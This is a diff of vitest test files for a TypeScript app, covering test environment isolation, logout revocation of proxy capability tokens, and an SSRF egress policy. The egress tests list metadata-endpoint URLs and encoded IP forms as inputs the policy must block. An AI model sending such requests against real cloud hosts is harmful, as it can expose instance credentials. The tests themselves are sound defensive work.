// Instance selection is PROCESS-WIDE and is what `src/config/instance.ts` derives
|
||||
// both the data dir and the tmux socket from, so a shell that exports any of these
|
||||
// three reaches straight past the temp HOME above and undoes the isolation this
|
||||
// file exists to provide:
|
||||
//
|
||||
// - CODEMAN_DATA_DIR is the dangerous one. It is an ABSOLUTE override read in
|
||||
// `getDataDir()`, so it bypasses HOME entirely: a developer who exports it
|
||||
// (or a shell left over from `codeman web -d`) has the suite reading and
|
||||
// WRITING their real `state.json`, `users.json`, `intents.json` and
|
||||
// `hook-secret` instead of a throwaway tree. Found live 2026-08-29 (#356):
|
||||
// `session-routes-workspace-hooks.test.ts` overwrote a production
|
||||
// `remote-hosts.json` with its `h1/box/10.0.0.5` fixture. `os.homedir()`
|
||||
// itself DOES follow `$HOME`, so with this var gone `getDataDir()` lands
|
||||
// under the temp HOME like everything else. (#356 first answered this by
|
||||
// pointing the var at a second throwaway dir; deleting it is the same
|
||||
// protection with one tree to clean up.)
|
||||
// - CODEMAN_INSTANCE moves the data dir to `~/.codeman-<name>` and the socket to
|
||||
// `codeman-<name>`. Inside the temp HOME that is not a data-loss risk, but it
|
||||
// silently changes the paths tests assert on — and `scripts/run-beta.sh`
|
||||
// exports it, so any shell that has run a beta carries it.
|
||||
// - CODEMAN_TMUX_SOCKET renames the socket `resolveTmuxSocketName()` returns.
|
||||
// `TmuxManager` no-ops its shell commands under vitest, so this is assertion
|
||||
// drift rather than a stray `tmux -L` against prod — but it is the same class
|
||||
// of leak and the same one-line fix.
|
||||
//
|
||||
// ⚠️ These must be deleted HERE rather than in a test, because `CODEMAN_INSTANCE`
|
||||
// is captured into a module-level const the first time `config/instance.ts` is
|
||||
// imported. A setup file runs before any application module loads; a beforeEach
|
||||
// would already be too late.
|
||||
delete process.env.CODEMAN_INSTANCE;
|
||||
delete process.env.CODEMAN_DATA_DIR;
|
||||
delete process.env.CODEMAN_TMUX_SOCKET;
|
||||
|
||||
afterEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.useRealTimers();
|
||||
@@ -50,7 +86,9 @@ afterAll(async () => {
|
||||
// "onUserConsoleLog" call is still pending, and that single unhandled
|
||||
// EnvironmentTeardownError fails the run after every test has passed
|
||||
// (observed twice on the PR #175/#176 merge commit; never locally).
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
const { promise: drained, resolve: drainDone } = Promise.withResolvers<void>();
|
||||
setTimeout(drainDone, 50);
|
||||
await drained;
|
||||
|
||||
if (originalHome === undefined) delete process.env.HOME;
|
||||
else process.env.HOME = originalHome;
|
||||
|
||||
@@ -1,6 +1,9 @@
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
const TEST_PORT = 3107;
|
||||
|
||||
@@ -295,13 +298,8 @@ describe('SSE Event Types', () => {
|
||||
expect(caseCreated).toBeDefined();
|
||||
expect((caseCreated?.data as any).name).toBe(caseName);
|
||||
|
||||
// Cleanup
|
||||
const { rmSync } = await import('node:fs');
|
||||
const { join } = await import('node:path');
|
||||
const { homedir } = await import('node:os');
|
||||
try {
|
||||
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
|
||||
} catch {}
|
||||
// Cleanup (containment-gated)
|
||||
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { safeRmHomeTree } from './mocks/index.js';
|
||||
import { homedir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
|
||||
const TEST_PORT = 3212;
|
||||
|
||||
@@ -437,14 +440,7 @@ describe('SSE Subscription Filtering', () => {
|
||||
expect(caseCreated).toBeDefined();
|
||||
expect((caseCreated?.data as any).name).toBe(caseName);
|
||||
|
||||
// Cleanup
|
||||
const { rmSync } = await import('node:fs');
|
||||
const { join } = await import('node:path');
|
||||
const { homedir } = await import('node:os');
|
||||
try {
|
||||
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
|
||||
} catch {
|
||||
/* may not exist */
|
||||
}
|
||||
// Cleanup (containment-gated)
|
||||
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
/**
|
||||
* @fileoverview Pins the environment isolation `test/setup.ts` provides.
|
||||
*
|
||||
* The suite's hermeticity rests on a temp `HOME` plus a short list of env vars that are
|
||||
* deleted before any application module loads. That list is easy to under-maintain: it grew
|
||||
* once for auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`) and once for `CODEMAN_GESTURE`, both
|
||||
* times only after a leak had already produced a confusing failure, and it was still missing
|
||||
* the three INSTANCE-selection vars.
|
||||
*
|
||||
* Those three matter more than the ones already on the list, because `src/config/instance.ts`
|
||||
* derives BOTH the data dir and the tmux socket from them, and `CODEMAN_DATA_DIR` is an
|
||||
* absolute path that bypasses `HOME` entirely — so a developer who exports it has the suite
|
||||
* reading and writing their real `state.json` rather than a throwaway tree.
|
||||
*
|
||||
* ⚠️ The runtime half of this file cannot fail on a machine where the vars were never set, so
|
||||
* it is not enough on its own: a `delete` line removed from `setup.ts` would still pass here
|
||||
* on almost every developer's box and on CI. The STATIC half is what actually guards the
|
||||
* list — it reads `setup.ts` and asserts each name is deleted there, which fails wherever the
|
||||
* suite runs. Both halves are deliberate; do not drop the static one as redundant.
|
||||
*
|
||||
* Port: none (pure, over process.env and one source file).
|
||||
*/
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
/** Every env var `setup.ts` must strip, with why it would otherwise leak. */
|
||||
const STRIPPED_ENV_VARS: Array<[name: string, why: string]> = [
|
||||
['CODEMAN_PASSWORD', 'auth from a running instance would make protected routes behave differently'],
|
||||
['CODEMAN_USERNAME', 'same, and it changes which owner scoping resolves to'],
|
||||
['CODEMAN_GESTURE', 'flips renderIndexHtml output and breaks byte-identity assertions'],
|
||||
['CODEMAN_INSTANCE', 'moves the data dir to ~/.codeman-<name> and the tmux socket to codeman-<name>'],
|
||||
['CODEMAN_DATA_DIR', 'ABSOLUTE override: bypasses the temp HOME and points the suite at a real data dir'],
|
||||
['CODEMAN_TMUX_SOCKET', 'renames the socket resolveTmuxSocketName() returns'],
|
||||
];
|
||||
|
||||
const SETUP_SOURCE = readFileSync(fileURLToPath(new URL('./setup.ts', import.meta.url)), 'utf-8');
|
||||
|
||||
/**
|
||||
* Just the top-of-file STRIP section, cut at the first hook.
|
||||
*
|
||||
* The teardown below it restores HOME/USERPROFILE/VITEST/PLAYWRIGHT_BROWSERS_PATH with the
|
||||
* same `delete` syntax, and those are the opposite of a strip — counting them would make the
|
||||
* anti-drift check demand a reason for a var the suite deliberately puts back.
|
||||
*/
|
||||
const SETUP_STRIP_SECTION = SETUP_SOURCE.split(/^afterEach\(/m)[0];
|
||||
|
||||
describe('test environment isolation', () => {
|
||||
it.each(STRIPPED_ENV_VARS)('%s is unset while the suite runs', (name) => {
|
||||
expect(process.env[name], `${name} leaked into the test environment`).toBeUndefined();
|
||||
});
|
||||
|
||||
it.each(STRIPPED_ENV_VARS)('setup.ts deletes %s (%s)', (name) => {
|
||||
// The half that fails everywhere, not just on a machine that happens to export the var.
|
||||
expect(SETUP_SOURCE, `setup.ts no longer deletes ${name}`).toContain(`delete process.env.${name};`);
|
||||
});
|
||||
|
||||
it('runs against a throwaway HOME, not the real one', () => {
|
||||
// The property every other test's isolation is built on: `~/.codeman` and `~/codeman-cases`
|
||||
// both resolve under here, so a test that writes state cannot reach the developer's own.
|
||||
const home = process.env.HOME ?? process.env.USERPROFILE;
|
||||
expect(home).toBeTruthy();
|
||||
expect(home).toContain('codeman-vitest-');
|
||||
});
|
||||
|
||||
it('lists every name the setup file strips (anti-drift)', () => {
|
||||
// Catches the other direction: a var added to setup.ts but never given a reason here, so
|
||||
// the next person cannot tell whether it is load-bearing or left over.
|
||||
const deleted = [...SETUP_STRIP_SECTION.matchAll(/delete process\.env\.([A-Z0-9_]+);/g)].map((m) => m[1]).sort();
|
||||
expect(deleted).toEqual(STRIPPED_ENV_VARS.map(([name]) => name).sort());
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,132 @@
|
||||
/**
|
||||
* Web-tab proxy capabilities must die with the login that minted them.
|
||||
*
|
||||
* `WebviewCapabilityStore.revokeOwner()` shipped for two releases with a docstring
|
||||
* saying logout called it and NO caller. The capability is a bearer credential
|
||||
* exempt from cookie auth, with a rolling TTL refreshed on every use, so a leaked
|
||||
* proxy URL stayed valid indefinitely. These tests pin every call site:
|
||||
* `POST /api/logout` (own identity), the admin forced logout, and user deletion.
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { WebviewCapabilityStore, webviewCapabilities } from '../src/webview-capabilities.js';
|
||||
import { createRouteTestHarness, type RouteTestHarness } from './routes/_route-test-utils.js';
|
||||
import { registerSessionRoutes } from '../src/web/routes/session-routes.js';
|
||||
import { registerAdminRoutes } from '../src/web/routes/admin-routes.js';
|
||||
import { createUser, invalidateUsersCache } from '../src/user-store.js';
|
||||
|
||||
const PASSWORD = 'correct-horse-battery-staple';
|
||||
|
||||
describe('WebviewCapabilityStore.revokeOwner', () => {
|
||||
it('revokes exactly the identity asked for, the single-user `undefined` identity included', () => {
|
||||
const store = new WebviewCapabilityStore();
|
||||
const solo = store.mint('wv-solo', undefined);
|
||||
const alice = store.mint('wv-alice', 'alice');
|
||||
const bob = store.mint('wv-bob', 'bob');
|
||||
|
||||
expect(store.revokeOwner('alice')).toBe(1);
|
||||
expect(store.resolve(alice)).toBeUndefined();
|
||||
expect(store.resolve(bob)).toBeDefined();
|
||||
expect(store.resolve(solo)).toBeDefined();
|
||||
|
||||
expect(store.revokeOwner(undefined)).toBe(1);
|
||||
expect(store.resolve(solo)).toBeUndefined();
|
||||
expect(store.resolve(bob)).toBeDefined();
|
||||
|
||||
// A later open mints a NEW token rather than resurrecting the revoked one.
|
||||
expect(store.mint('wv-alice', 'alice')).not.toBe(alice);
|
||||
expect(store.revokeOwner('nobody')).toBe(0);
|
||||
store.dispose();
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/logout', () => {
|
||||
let harness: RouteTestHarness;
|
||||
|
||||
beforeAll(async () => {
|
||||
harness = await createRouteTestHarness(registerSessionRoutes);
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await harness.app.close();
|
||||
});
|
||||
|
||||
it('single-user: every outstanding capability dies with the login', async () => {
|
||||
const cap = webviewCapabilities.mint('wv-logout-solo', undefined);
|
||||
expect(webviewCapabilities.resolve(cap)).toBeDefined();
|
||||
|
||||
const res = await harness.app.inject({ method: 'POST', url: '/api/logout' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(webviewCapabilities.resolve(cap)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/logout in multi-user mode', () => {
|
||||
let harness: RouteTestHarness;
|
||||
let savedMode: string | undefined;
|
||||
|
||||
beforeAll(async () => {
|
||||
savedMode = process.env.CODEMAN_MULTIUSER;
|
||||
process.env.CODEMAN_MULTIUSER = '1';
|
||||
harness = await createRouteTestHarness(registerSessionRoutes, { authUser: { username: 'peon', role: 'user' } });
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await harness.app.close();
|
||||
if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER;
|
||||
else process.env.CODEMAN_MULTIUSER = savedMode;
|
||||
});
|
||||
|
||||
it("revokes only the caller's capabilities, never another user's", async () => {
|
||||
const mine = webviewCapabilities.mint('wv-peon-own', 'peon');
|
||||
const theirs = webviewCapabilities.mint('wv-boss-own', 'boss');
|
||||
|
||||
const res = await harness.app.inject({ method: 'POST', url: '/api/logout' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(webviewCapabilities.resolve(mine)).toBeUndefined();
|
||||
expect(webviewCapabilities.resolve(theirs)).toBeDefined();
|
||||
webviewCapabilities.revokeWebview('wv-boss-own');
|
||||
});
|
||||
});
|
||||
|
||||
describe('admin routes (multi-user)', () => {
|
||||
let harness: RouteTestHarness;
|
||||
let savedMode: string | undefined;
|
||||
|
||||
// The temp HOME from test/setup.ts is per-FILE, so users.json persists across
|
||||
// the tests in this block.
|
||||
beforeAll(async () => {
|
||||
savedMode = process.env.CODEMAN_MULTIUSER;
|
||||
process.env.CODEMAN_MULTIUSER = '1';
|
||||
invalidateUsersCache();
|
||||
await createUser({ username: 'boss', role: 'admin', password: PASSWORD });
|
||||
await createUser({ username: 'peon', role: 'user', password: PASSWORD });
|
||||
harness = await createRouteTestHarness(registerAdminRoutes, { authUser: { username: 'boss', role: 'admin' } });
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await harness.app.close();
|
||||
if (savedMode === undefined) delete process.env.CODEMAN_MULTIUSER;
|
||||
else process.env.CODEMAN_MULTIUSER = savedMode;
|
||||
invalidateUsersCache();
|
||||
});
|
||||
|
||||
it('a forced logout revokes the target user (normalised) and leaves the admin alone', async () => {
|
||||
const peon = webviewCapabilities.mint('wv-peon-forced', 'peon');
|
||||
const boss = webviewCapabilities.mint('wv-boss-forced', 'boss');
|
||||
|
||||
const res = await harness.app.inject({ method: 'POST', url: '/api/admin/users/PEON/logout' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(webviewCapabilities.resolve(peon)).toBeUndefined();
|
||||
expect(webviewCapabilities.resolve(boss)).toBeDefined();
|
||||
webviewCapabilities.revokeWebview('wv-boss-forced');
|
||||
});
|
||||
|
||||
it('deleting a user revokes whatever that user had open', async () => {
|
||||
const peon = webviewCapabilities.mint('wv-peon-deleted', 'peon');
|
||||
|
||||
const res = await harness.app.inject({ method: 'DELETE', url: '/api/admin/users/peon' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(webviewCapabilities.resolve(peon)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,98 @@
|
||||
/**
|
||||
* Egress policy for the web-tab proxy (src/web/webview-egress-policy.ts).
|
||||
*
|
||||
* The proxy reaches whatever the server can reach ON PURPOSE (a localhost
|
||||
* Grafana is the documented use case), so this policy blocks only the ranges no
|
||||
* dashboard lives in and a cloud credential does: link-local and the fixed
|
||||
* metadata endpoints. Both halves are pinned: what is refused, and what must
|
||||
* stay allowed so the feature keeps working.
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
blockedWebviewHostReason,
|
||||
isBlockedEgressAddress,
|
||||
isBlockedWebviewUrl,
|
||||
} from '../src/web/webview-egress-policy.js';
|
||||
|
||||
describe('isBlockedEgressAddress', () => {
|
||||
it('blocks the IPv4 link-local range, which every major cloud puts IMDS in', () => {
|
||||
expect(isBlockedEgressAddress('169.254.169.254')).toBe(true);
|
||||
expect(isBlockedEgressAddress('169.254.0.23')).toBe(true); // Tencent metadata
|
||||
expect(isBlockedEgressAddress('169.254.255.255')).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks the fixed metadata endpoints outside link-local', () => {
|
||||
expect(isBlockedEgressAddress('168.63.129.16')).toBe(true); // Azure WireServer
|
||||
expect(isBlockedEgressAddress('100.100.100.200')).toBe(true); // Alibaba Cloud
|
||||
});
|
||||
|
||||
it('blocks IPv6 link-local and the AWS IMDS IPv6 endpoint in every spelling', () => {
|
||||
expect(isBlockedEgressAddress('fe80::1')).toBe(true);
|
||||
expect(isBlockedEgressAddress('FE80::1%eth0')).toBe(true);
|
||||
expect(isBlockedEgressAddress('febf:ffff::1')).toBe(true);
|
||||
expect(isBlockedEgressAddress('fd00:ec2::254')).toBe(true);
|
||||
expect(isBlockedEgressAddress('fd00:0ec2:0000:0000:0000:0000:0000:0254')).toBe(true);
|
||||
});
|
||||
|
||||
it('judges the embedded IPv4 of a mapped address, dotted or hex', () => {
|
||||
expect(isBlockedEgressAddress('::ffff:169.254.169.254')).toBe(true);
|
||||
expect(isBlockedEgressAddress('::ffff:a9fe:a9fe')).toBe(true); // URL.hostname's form
|
||||
expect(isBlockedEgressAddress('::ffff:127.0.0.1')).toBe(false);
|
||||
expect(isBlockedEgressAddress('::ffff:7f00:1')).toBe(false);
|
||||
});
|
||||
|
||||
it('ALLOWS loopback and private ranges: localhost dashboards are the feature', () => {
|
||||
expect(isBlockedEgressAddress('127.0.0.1')).toBe(false);
|
||||
expect(isBlockedEgressAddress('::1')).toBe(false);
|
||||
expect(isBlockedEgressAddress('10.0.0.5')).toBe(false);
|
||||
expect(isBlockedEgressAddress('192.168.1.20')).toBe(false);
|
||||
expect(isBlockedEgressAddress('172.16.0.9')).toBe(false);
|
||||
expect(isBlockedEgressAddress('100.64.0.1')).toBe(false); // tailnet CGNAT range
|
||||
expect(isBlockedEgressAddress('fd7a:115c:a1e0::1')).toBe(false); // tailnet ULA
|
||||
expect(isBlockedEgressAddress('fd00:ec2::255')).toBe(false); // neighbour of the AWS address
|
||||
});
|
||||
|
||||
it('never blocks a name: names are judged by what they resolve to', () => {
|
||||
expect(isBlockedEgressAddress('metadata.google.internal')).toBe(false);
|
||||
expect(isBlockedEgressAddress('')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('blockedWebviewHostReason', () => {
|
||||
it('accepts URL.hostname forms: bracketed IPv6, trailing dot, mixed case', () => {
|
||||
expect(blockedWebviewHostReason('[fe80::1]')).toMatch(/link-local/);
|
||||
expect(blockedWebviewHostReason('[::ffff:a9fe:a9fe]')).toMatch(/link-local/);
|
||||
expect(blockedWebviewHostReason('METADATA.GOOGLE.INTERNAL.')).toMatch(/metadata hostname/);
|
||||
expect(blockedWebviewHostReason('[::1]')).toBeNull();
|
||||
});
|
||||
|
||||
it('names the cloud metadata aliases even though they would also fail resolution', () => {
|
||||
expect(blockedWebviewHostReason('metadata')).not.toBeNull();
|
||||
expect(blockedWebviewHostReason('instance-data')).not.toBeNull();
|
||||
expect(blockedWebviewHostReason('metadata.example.com')).toBeNull();
|
||||
expect(blockedWebviewHostReason('grafana.internal')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('isBlockedWebviewUrl (schema refine)', () => {
|
||||
it('sees through the URL normalisations an attacker would lean on', () => {
|
||||
// Decimal and hex hosts normalise to dotted quads inside `new URL`.
|
||||
expect(isBlockedWebviewUrl('http://2852039166/latest/meta-data/')).toBe(true); // 169.254.169.254
|
||||
expect(isBlockedWebviewUrl('http://0xa9fea9fe/')).toBe(true);
|
||||
expect(isBlockedWebviewUrl('http://169.254.169.254:80/')).toBe(true);
|
||||
expect(isBlockedWebviewUrl('http://[fd00:ec2::254]/')).toBe(true);
|
||||
expect(isBlockedWebviewUrl('http://metadata.google.internal/computeMetadata/v1/')).toBe(true);
|
||||
});
|
||||
|
||||
it('leaves every documented dashboard shape alone', () => {
|
||||
expect(isBlockedWebviewUrl('http://127.0.0.1:4000/grafana/')).toBe(false);
|
||||
expect(isBlockedWebviewUrl('http://localhost:3080/')).toBe(false);
|
||||
expect(isBlockedWebviewUrl('https://homeassistant.tailf80371.ts.net/')).toBe(false);
|
||||
expect(isBlockedWebviewUrl('http://192.168.1.20:9000/')).toBe(false);
|
||||
});
|
||||
|
||||
it("is not the URL-shape check: garbage is someone else's refusal", () => {
|
||||
expect(isBlockedWebviewUrl('not a url')).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,154 @@
|
||||
/**
|
||||
* Guarded egress for the web-tab proxy (src/web/webview-egress.ts).
|
||||
*
|
||||
* The policy is judged on RESOLVED addresses through a `lookup` hook, because a
|
||||
* hostname-string check cannot see where `metadata.google.internal`, or an
|
||||
* attacker's own DNS name, actually points. These tests inject a resolver and
|
||||
* drive a real undici Agent against a real local HTTP server, so what is pinned
|
||||
* is that undici honours the hook end-to-end, not that a helper returns a value.
|
||||
* Port: ephemeral (server.listen(0)).
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { createServer, type Server } from 'node:http';
|
||||
import type { LookupAddress } from 'node:dns';
|
||||
import { fetch as undiciFetch } from 'undici';
|
||||
import {
|
||||
createEgressLookup,
|
||||
createWebviewDispatcher,
|
||||
egressBlockedReason,
|
||||
isEgressBlockedError,
|
||||
webviewFetch,
|
||||
WebviewEgressBlockedError,
|
||||
type EgressLookup,
|
||||
} from '../src/web/webview-egress.js';
|
||||
|
||||
type LookupCallbackArgs = Parameters<Parameters<EgressLookup>[2]>;
|
||||
|
||||
const NAMES: Record<string, LookupAddress[]> = {
|
||||
'dash.test': [{ address: '127.0.0.1', family: 4 }],
|
||||
'meta.test': [{ address: '169.254.169.254', family: 4 }],
|
||||
// Happy Eyeballs shape: one fine address and one blocked one.
|
||||
'mixed.test': [
|
||||
{ address: '127.0.0.1', family: 4 },
|
||||
{ address: 'fd00:ec2::254', family: 6 },
|
||||
],
|
||||
'nowhere.test': [],
|
||||
};
|
||||
|
||||
const fakeResolve = async (hostname: string): Promise<LookupAddress[]> => {
|
||||
const found = NAMES[hostname];
|
||||
if (!found) {
|
||||
const err: NodeJS.ErrnoException = new Error(`getaddrinfo ENOTFOUND ${hostname}`);
|
||||
err.code = 'ENOTFOUND';
|
||||
throw err;
|
||||
}
|
||||
return found;
|
||||
};
|
||||
|
||||
function callLookup(hostname: string, options: { all?: boolean }): Promise<LookupCallbackArgs> {
|
||||
const lookup = createEgressLookup(fakeResolve);
|
||||
return new Promise((resolve) => lookup(hostname, options, (...args) => resolve(args)));
|
||||
}
|
||||
|
||||
describe('createEgressLookup', () => {
|
||||
it("answers in net.connect's single-address shape when `all` is not requested", async () => {
|
||||
const [err, address, family] = await callLookup('dash.test', {});
|
||||
expect(err).toBeNull();
|
||||
expect(address).toBe('127.0.0.1');
|
||||
expect(family).toBe(4);
|
||||
});
|
||||
|
||||
it('answers the array shape autoSelectFamily asks for', async () => {
|
||||
const [err, addresses] = await callLookup('dash.test', { all: true });
|
||||
expect(err).toBeNull();
|
||||
expect(addresses).toEqual([{ address: '127.0.0.1', family: 4 }]);
|
||||
});
|
||||
|
||||
it('refuses a name that resolves into a blocked range, naming both', async () => {
|
||||
const [err] = await callLookup('meta.test', {});
|
||||
expect(err).toBeInstanceOf(WebviewEgressBlockedError);
|
||||
expect(err?.message).toContain('meta.test resolves to 169.254.169.254');
|
||||
});
|
||||
|
||||
it('refuses when ANY resolved address is blocked, not just the first', async () => {
|
||||
const [err] = await callLookup('mixed.test', { all: true });
|
||||
expect(err).toBeInstanceOf(WebviewEgressBlockedError);
|
||||
});
|
||||
|
||||
it('passes resolver errors and empty answers through as ordinary DNS failures', async () => {
|
||||
const [notFound] = await callLookup('unknown.test', {});
|
||||
expect(notFound?.code).toBe('ENOTFOUND');
|
||||
expect(isEgressBlockedError(notFound)).toBe(false);
|
||||
const [empty] = await callLookup('nowhere.test', {});
|
||||
expect(empty?.code).toBe('ENOTFOUND');
|
||||
});
|
||||
});
|
||||
|
||||
describe('guarded undici Agent (end-to-end against a local upstream)', () => {
|
||||
let upstream: Server;
|
||||
let port: number;
|
||||
|
||||
beforeAll(async () => {
|
||||
upstream = createServer((req, res) => {
|
||||
res.writeHead(200, { 'content-type': 'text/plain' });
|
||||
res.end(`served ${req.headers.host ?? ''}`);
|
||||
});
|
||||
await new Promise<void>((resolve) => upstream.listen(0, '127.0.0.1', resolve));
|
||||
port = (upstream.address() as { port: number }).port;
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await new Promise<void>((resolve) => upstream.close(() => resolve()));
|
||||
});
|
||||
|
||||
it('connects through the hook: a name resolving to loopback reaches the server', async () => {
|
||||
const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve));
|
||||
try {
|
||||
const res = await undiciFetch(`http://dash.test:${port}/`, { dispatcher });
|
||||
expect(res.status).toBe(200);
|
||||
expect(await res.text()).toBe(`served dash.test:${port}`);
|
||||
} finally {
|
||||
await dispatcher.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('fails the connect when the name resolves into a blocked range, with the reason as the cause', async () => {
|
||||
const dispatcher = createWebviewDispatcher(createEgressLookup(fakeResolve));
|
||||
try {
|
||||
const attempt = undiciFetch(`http://meta.test:${port}/latest/meta-data/`, { dispatcher });
|
||||
await expect(attempt).rejects.toThrow();
|
||||
const err = await attempt.catch((e: unknown) => e);
|
||||
expect(isEgressBlockedError(err)).toBe(true);
|
||||
expect(egressBlockedReason(err)).toContain('169.254.169.254');
|
||||
} finally {
|
||||
await dispatcher.close();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('webviewFetch', () => {
|
||||
it('refuses a blocked IP literal synchronously, since net.connect never consults lookup for one', async () => {
|
||||
const attempt = webviewFetch(new URL('http://169.254.169.254/latest/meta-data/'));
|
||||
await expect(attempt).rejects.toBeInstanceOf(WebviewEgressBlockedError);
|
||||
const err = await attempt.catch((e: unknown) => e);
|
||||
expect(egressBlockedReason(err)).toMatch(/169\.254\.169\.254/);
|
||||
});
|
||||
|
||||
it('refuses the bracketed IPv6 and the alias forms the same way', async () => {
|
||||
await expect(webviewFetch(new URL('http://[fd00:ec2::254]/'))).rejects.toBeInstanceOf(WebviewEgressBlockedError);
|
||||
await expect(webviewFetch(new URL('http://metadata.google.internal/'))).rejects.toBeInstanceOf(
|
||||
WebviewEgressBlockedError
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('egressBlockedReason', () => {
|
||||
it('walks a cause chain and ignores unrelated errors', () => {
|
||||
const inner = new WebviewEgressBlockedError('x resolves to 169.254.1.1');
|
||||
const wrapped = new TypeError('fetch failed', { cause: inner });
|
||||
expect(egressBlockedReason(wrapped)).toBe(inner.message);
|
||||
expect(egressBlockedReason(new Error('ECONNREFUSED'))).toBeNull();
|
||||
expect(egressBlockedReason(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -653,3 +653,34 @@ describe('misc helpers', () => {
|
||||
expect(proxyPrefixFor(CAP)).toBe(PREFIX);
|
||||
});
|
||||
});
|
||||
|
||||
describe('referrer policy on proxied responses', () => {
|
||||
const CAP = 'c'.repeat(32);
|
||||
const requestUrl = new URL('http://127.0.0.1:4000/');
|
||||
|
||||
it('stamps same-origin and drops the upstream policy, so the capability in the URL never reaches a third party', () => {
|
||||
const { headers } = buildDownstreamResponseHeaders(
|
||||
[
|
||||
['referrer-policy', 'unsafe-url'],
|
||||
['content-type', 'text/html'],
|
||||
],
|
||||
[],
|
||||
CAP,
|
||||
requestUrl,
|
||||
false
|
||||
);
|
||||
expect(headers['referrer-policy']).toBe('same-origin');
|
||||
expect(headers['content-type']).toBe('text/html');
|
||||
});
|
||||
|
||||
it('stamps it even when the upstream sent none (the browser default would still leak on a downgrade-style policy)', () => {
|
||||
const { headers } = buildDownstreamResponseHeaders(
|
||||
[['content-type', 'application/json']],
|
||||
[],
|
||||
CAP,
|
||||
requestUrl,
|
||||
false
|
||||
);
|
||||
expect(headers['referrer-policy']).toBe('same-origin');
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user